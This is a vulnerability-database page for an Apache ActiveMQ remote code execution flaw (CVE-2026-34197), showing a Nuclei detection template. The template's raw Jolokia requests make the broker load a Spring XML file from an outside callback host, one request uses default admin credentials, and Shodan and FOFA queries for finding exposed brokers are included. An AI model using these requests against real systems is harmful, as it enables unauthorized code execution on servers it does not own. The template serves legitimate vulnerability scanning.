Lucene search
K

Apache ActiveMQ - Remote Code Execution

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 25 Views

ActiveMQ Jolokia allows remote code execution via crafted discovery URI loading Spring context.

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
6 Jun 202612:39
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202614:36
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
8 May 202605:39
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202620:07
githubexploit
GithubExploit
Exploit for CVE-2026-34197
14 Apr 202620:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
4 Jul 202606:45
githubexploit
GithubExploit
Exploit for CVE-2026-34197
9 Apr 202609:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202603:30
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202609:18
githubexploit
GithubExploit
Exploit for CVE-2026-34197
10 Apr 202601:29
githubexploit
Rows per page
id: CVE-2026-34197

info:
  name: Apache ActiveMQ - Remote Code Execution
  author: DhiyaneshDk,horizon3
  severity: critical
  description: |
    Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.
  impact: |
    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 5.19.5 or 6.2.3 or later.
  reference:
    - https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
    - https://activemq.apache.org/security-advisories
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-34197
    epss-score: 0.96666
    epss-percentile: 0.99876
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query: title:"ActiveMQ" port:8161
    fofa-query: title="ActiveMQ" && port="8161"
  tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower(rand_text_alpha(6))}}"

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Authorization: Basic YWRtaW46YWRtaW4=

        [{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 490a004630440220436d1879a2c183184312a590136877e71a77fb903c2fc75e2c84ae3aaebab7c902204d8bc386fd52d9d545644191b6bfdf3603bb0af07899194b85e8b0dbb1adc6c8:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2026 05:10Current
7.7High risk
Vulners AI Score7.7
CVSS 3.18.8
EPSS0.96666
SSVC
25